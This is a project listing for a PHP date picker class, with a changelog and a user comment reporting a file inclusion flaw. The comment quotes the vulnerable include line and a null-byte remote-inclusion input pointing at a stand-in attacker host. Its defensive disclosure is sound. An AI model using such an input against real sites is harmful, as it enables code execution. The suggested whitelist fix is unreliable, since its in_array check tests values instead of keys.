PHP Date Picker Class will automatically generate the required HTML and JavaScript code that will make a pop-up window appear to let the user choose a date from a calendar. The selected date will be passed to a user-specified control from the calling page. Every aspect is customizable by modifying a template and a related CSS file. The format in which the date is returned, the default date and time period, and the first day of the week can be selected.
| Tags | Software Development Libraries php classes |
|---|---|
| Operating Systems | OS Independent |
| Implementation | PHP |
| Translations | German Dutch English |
Recent releases


Changes: This release fixes a bug where on some installations, months could not be changed. It fixes a bug where selectableDatesRange couldn't be used without also using selectableYearsRange. The datepicker now pops up in the center of the screen. A new property, "showGoToCurrentMonthYear" was added which, when set to TRUE, will show another button that when clicked sends the datepicker back to current month/year.


Changes: The selected date and time were not preserved if the month or year were changed. Using any date format other than the default would cause all dates to be disabled everywhere. A potential problem with selectableYearsRange and selectableTimesRange was fixed. The cause of the problem was the fact that PHP's date() function returns a string and therefore date("Y") would return the current date as a string rather than an integer, which made the calendar unusable.


Changes: The new selectableYearsRange property was added. Setting values to this property will make the years show in a select box rather than static text, enabling the user to quickly select a year from given ranges. The new enableTimePicker property was added. Setting this to TRUE will let users also select hours and minutes. The new selectableTimesRange property was added. It is available only if enableTimePickersetting is set to TRUE. Setting values to this property will let the users select hours and minutes only from given ranges. A bug that prevented preselection of a date was fixed. A Finnish language translation was added.


Changes: A major security issue where an atacker could include random scripts was fixed. If the datepicker was called with the onclick event of an "image" input type from a form, the form got submitted. A Romanian language translation was added. A Slovenian language translation was added.


Changes: You can now set specific date ranges from which the user can pick a date, thus restricting the user from choosing wrong dates (see the manual for the new selectableRange property). An Italian language translation was added. A French language translation was added.
- All comments
Recent commentsCode needs Security
Very nice work, however the code in datepicker.php seems to trust user input a bit too much.
include_once("../languages/".$_POST["language"].".php");
On some platforms, what would happen if some crafted html form was submitted with a value like this one : %00http://www.evil.site.com/evil.script ?
quickfix :
Validate any single data coming from the wild. There are a few methods to do this depending on what you need from this data.
$langs = array(
'default' => 'english.php',
'english' => 'english.php',
'french' => 'french.php
(...)
);
if(!in_array($_POST['language'], $langs)) {
$language = $langs['default'];
} else {
$language = $langs[$_POST['language']];
}
include_once("../languages/".$language);
methods for validating numbers :
$myNumber = sprintf('%02d', $_GET['myNumber']);
also works (dirty) :
$myNumber = (int)$_GET['myNumber'];
hope this helps
tobozo